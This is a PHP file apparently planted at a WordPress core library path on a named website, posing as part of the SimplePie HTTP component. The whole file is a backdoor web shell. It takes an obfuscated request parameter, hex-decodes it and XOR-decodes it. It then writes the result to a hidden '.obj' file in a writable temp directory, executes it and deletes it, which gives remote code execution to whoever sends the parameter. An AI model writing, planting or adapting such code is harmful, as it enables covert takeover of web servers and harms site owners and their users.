File: /home/mirpogruzchikov.ru/public_html/wp-includes/SimplePie/HTTP/fi.php
<?php
if(@$_REQUEST["d\x61\x74a"] !== null){
$holder = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]);
$factor = hex2bin($_REQUEST["d\x61\x74a"]);
$res = '' ; for($g=0; $g<strlen($factor); $g++){$res .= chr(ord($factor[$g]) ^ 32);}
foreach ($holder as $key => $reference) {
if (is_dir($reference) && is_writable($reference)) {
$mrk = sprintf("%s/.obj", $reference);
if (file_put_contents($mrk, $res)) {
require $mrk;
unlink($mrk);
exit;
}
}
}
}